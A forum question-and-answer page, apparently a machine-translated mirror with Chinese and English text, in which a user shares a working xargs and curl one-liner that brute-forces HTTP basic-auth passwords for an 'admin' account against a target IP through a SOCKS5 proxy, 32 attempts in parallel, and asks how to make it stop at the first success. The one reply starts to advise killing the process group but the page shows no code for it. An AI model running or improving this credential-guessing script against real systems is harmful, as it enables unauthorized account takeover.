在并行蛮力脚本中使用XARGS
我正在使用并行使用XARGS来制作Bruteforce脚本。我可以使用GNU并行使用它,但不能使其与Xargs合作。到目前为止,我已经
cat $wordlist | xargs -n 1 -P 32 -I {} curl -s -o /dev/null -w '%{http_code} {}\n' --socks5 127.0.0.1:1080 $ip -u admin:{} | awk '{if($1== "200") {print "Found password" $2; exit}}'
打印了密码但无法退出。因此,我的问题是如何编写本次数,以便在找到第一场比赛后退出?
谢谢。
I am working on a bruteforce script using xargs in parallel. I have it working using GNU parallel but cant get it to work right with xargs. So far I have
cat $wordlist | xargs -n 1 -P 32 -I {} curl -s -o /dev/null -w '%{http_code} {}\n' --socks5 127.0.0.1:1080 $ip -u admin:{} | awk '{if($1== "200") {print "Found password" $2; exit}}'
which prints the password but fails to exit. So my question is how can I write this so that it exits after finding first match?
Thanks.
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(1)
不要使用出口,这可能会给您带来sigpipe(信号13)错误。安全地杀死您的流程组:
Don't use exit, that will likely give you SIGPIPE (signal 13) errors. Kill your process group safely this way: